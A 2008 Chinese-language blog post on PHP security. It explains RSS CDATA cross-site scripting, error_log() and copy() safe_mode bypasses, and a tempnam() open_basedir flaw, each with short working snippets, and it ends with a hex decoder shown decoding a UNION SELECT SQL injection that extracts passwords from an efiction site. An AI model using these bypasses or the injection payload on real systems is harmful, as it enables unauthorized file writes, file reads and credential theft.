«
PHP泛安全

时间:2008-5-31    作者:Deri    分类: 分享


   <p>  如今基于PHP的WEB程序是越来越安全了,php.ini默认时的 magic_quotes_gpc=on就在初始安全性上提高了一个档次.很多程序在接受到用户的输入时都会提前判断一下 get_magic_quotes_gpc() 即使这个开关没有开就马上addslashes()函数跟上进行转义,所以想在PHP程序中找到一个类似与以前ASP注入那样的漏洞是比较不容易的.</p><p>  对于PHP的跨站其实也很好防范,用 htmlentities() 就可以了,不过当处理XML文件时采用这个函数可能会出现些问题,只需手工转换下那5个元字符就可以了。举个例子,以前写过篇文章关于XML文件隐患的,其实就是CDATA部件的问题,现在比较流行的说法是AJAX hacking,大概说下,看看以下代码:</p><code>if ($rssid == 0 OR $rssid == 7) {<br />} elseif (!empty($stmt)) {<br />  $dbinfo =& $db->getResultSet($stmt, array('pageSize'=>$pagesize));<br />  if ($dbinfo === false) {<br />    $msginfo = str_replace(']]>', ']]>', $lang['tpl.str0']);<br />    $TPL_items .= <<<EOT<br />    <item><br />       <title>{$msginfo}</title><br />       <link>{$fsetting['forumurl']}</link><br />       <author>{$fsetting['forumname']}</author><br />       <pubDate>{$datenow}</pubDate><br />       <description><![CDATA[{$msginfo}]]></description><br />    </item><br />EOT;</code><p>  $msginfo是用户提交的,然后被程序写进RSS里以用来聚合,如果$msginfo的值为<sciript>alert('loveshell')</script>时,RSS聚合解析后会原样输出,如果为]]><sciript>alert('loveshell')</script>时,就可以跨站了,看看他的过滤:</p>
<p> </p>

   <code>if ($dbinfo === false) {<br />    $msginfo = str_replace(']]>', ']]>', $lang['tpl.str0']);</code><p>  很好意识到了这点,可是这句呢<title>{$msginfo}</title>,意识到问题所在很关键,重要的是要理解问题.</p><p>  可是还是有很多会被程序员疏忽的地方,这是安全意识的问题,对于用户的任何输入,在写程序时脑子里都要提前做个思考:用户的输入是什么类型的?用户会有哪些输入方式?怎么处理用户的错误和非常规输入?</p><p>  PHP的安全还体现在Safe Mode 和openbase-dir上.即使这样基于PHP底层的一些漏洞还是会直接影响到这两个非常重要的安全选项.举个例子:</p><p>  比如error_log() Safe Mode Bypass</p><p>  看他的语法:bool error_log ( string message [, int message_type [, string destination [, string extra_headers]]] )</p><p>  输出错误信息到一个文件,可以这样写</p><code><?<br />error_log("<? phpinfo();?>", 3, "test.php");<br />?></code><p>  运行在safe_mode关闭的情况下,直接访问test.php就可以看到phpinfo了,当safe_mode开的时候就会报错,再这样写:</p><code><?<br />error_log("<? phpinfo();?>", 3, "prefix://../../test.php");<br />?></code><p>  可以看到phpinfo又被执行了</p><p>  看下漏洞代码:</p><code>PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char *headers TSRMLS_DC)<br />{<br />php_stream *stream = NULL;<br />switch (opt_err) {<br />case 1: /*send an email */<br />{<br />#if HAVE_SENDMAIL<br />if (!php_mail(opt, "PHP error_log message", message, headers, NULL TSRMLS_CC)) {<br />return FAILURE;<br />}<br />php_error_docref(NULL TSRMLS_CC, E_WARNING, "Mail option not available!");<br />return FAILURE;<br />}<br />break;<br />case 2: /*send to an address */<br />php_error_docref(NULL TSRMLS_CC, E_WARNING, "TCP/IP option not available!");<br />return FAILURE;<br />break;<br />case 3: /*save to a file */<br />stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);<br />if (!stream)<br />return FAILURE;<br />php_stream_write(stream, message, strlen(message));<br />php_stream_close(stream);<br />break;<br />default:<br />php_log_err(message TSRMLS_CC);<br />break;<br />}<br />return SUCCESS;<br />}</code><p>  可以看到error_log函数的核心就是 php_stream_open_wrapper()函数,问题也就出在保存错误信息的文件这一步,看下这个函数的语法:</p>
 <p> </p>

   <code>php_stream * php_stream_open_wrapper ( char * path, char * mode, int options, char ** opened )<br />php_stream_open_wrapper() opens a stream on the file, URL or other wrapped resource specified by path.<br />r<br />Open text file for reading. The stream is positioned at the beginning of the file.<br />r+<br />Open text file for reading and writing. The stream is positioned at the beginning of the file.<br />w<br />Truncate the file to zero length or create text file for writing. The stream is positioned at the beginning of the file.<br />w+<br />Open text file for reading and writing. The file is created if it does not exist, otherwise it is truncated. The stream is positioned at the beginning of the file.<br />a<br />Open for writing. The file is created if it does not exist. The stream is positioned at the end of the file.<br />a+<br />Open text file for reading and writing. The file is created if it does not exist. The stream is positioned at the end of the file.</code><p>  error_log函数里定义了a选项,就是检查当保存错误信息文件不存在时创建一个,到这都没问题,关键是后面:</p><p>  IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS</p><p>  如果定义了一个IGNORE_URL那么将关闭后面的SAFE_MODE 开关,这样如果把错误信息写成代码,后面加上如prefix://../../的URL,则代码被写入到一个PHP文件时就已经绕过了SAFE_MODE 的限制,再访问保存错误信息的文件则代码被顺利无限制的执行了.</p><p>  归根结底漏洞产生于php_stream_open_wrapper()函数,然后被嵌套调用了.</p>
 <p> </p>

   <p>  还有一个以前的的copy函数bypass漏洞</p><code>$temp=tempnam($tymczas, "cx");<br />if(copy("compress.zlib://".$file, $temp)){<br />$handle = fopen($temp, "r");<br />$tekst = fread($handle, filesize($temp));<br />fclose($handle);</code><p>  通过这样一段利用代码再指定一个$file就可以绕过安全模式读取任何文件了</p><p>  漏洞的存在都是互相映射的,应用层的漏洞在底层也会出现,就象上面这些逻辑类的,那应用层最容易疏忽的过滤不严的漏洞在底层会出现吗?当然!看看tempnam()函数中的一段核心代码:</p><code>if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) ==<br />FAILURE) {<br /> WRONG_PARAM_COUNT;<br />}<br />convert_to_string_ex(arg1);<br />convert_to_string_ex(arg2);<br />if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) {<br /> RETURN_FALSE;<br />}<br />d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1));<br />strlcpy(p, Z_STRVAL_PP(arg2), sizeof(p));</code><p>  开始的函数原型给出了,第1个参数是指定生成临时文件的目录,第2个参数是生成临时文件的前缀.开始是对两个参数类型的检查及定义,然后对参数做限制,问题就出在红色代码处这个函数:php_check_open_basedir()是用来检查参数完整性并检查接受到的目录参数是否在open-basedir内,也就是按说我们对tempnam()传递参数后是不能在这个参数之外的目录生成临时文件了,可是居然函数只限制了arg1,没有过滤arg2,这样一来前面的限制就不会起作用了,然后后面就把arg2的参数附加给arg1了.接着就导致可以绕过openbase_dir的限制写文件了.</p>
 <p> </p>

   <p>  应了那句老话,任何地方都没有绝对的安全.在应用层安全系数越来越高的时候,关注底层,利用底层的一些缺陷可以更有利于做WEB应用层的漏洞挖掘.</p><p>  另外PHP的安全也体现在做一些安全方面的工作,这点得益与PHP强大的功能,比如用做协议解析</p><code><?<br />function hex2dec($hex)<br />{<br />$v=Ord($hex);<br />if(47<$v&&$v<58)<br />return $v-48;<br />if(64<$v&&$v<71)<br />return $v-65+10;<br />if(96<$v&&$v<103)<br />return $v-97+10;<br />}<br />function hex2str($str)<br />{<br />if(!$str)<br />return false;<br />$code="";<br />for($i=0;$i<strlen($str);$i+=2)<br />{<br />$code.=chr(hex2dec(substr($str,$i,1))*16+hex2dec(substr($str,$i+1,1)));<br />}<br />return $code;<br />}<br />if (empty($_POST['str'])) {<br />echo"/*

";
echo "Please input Hex string!";
echo"
";
echo"*/
";
}else{
$str=$_POST['str'];
$result=hex2str($str);
echo "Decoder:";
echo"
";
echo htmlspecialchars(stripslashes($result));
$newresult=str_replace(" ","0x20",$result);
$a=explode('0x20', $newresult, 3);
echo "***";
echo"
";
echo "Method:";
echo htmlspecialchars(stripslashes($a[0]));
echo"

";
echo "URL:";
echo htmlspecialchars(stripslashes($a[1]));
echo"

";
echo htmlspecialchars(stripslashes($a[2]));
echo "";
}
?>

  提交sniffer到的16进制数据like this:

504F5354202F6566696374696F6E2F76696577757365722E7068703F7569643D27554E494F4E25323053454C454354253230302C302C302C302C302C302C302C302C302C302C70617373776F72642C302C302C302C3025323046524F4D25323066616E66696374696F6E5F617574686F72732532302F2A7320485454502F312E300D0A0D0A

  转换后likethis:

  

Method:POST
URL:/efiction/viewuser.php?uid='UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,password,0,0,0,0%20FROM%20fanfiction_authors%20/*s
HTTP/1.0

  代码很简单,可功能很实用,如果需要可以写端口扫描,fuzzer,甚至google hacking工具等,只要你能想到:)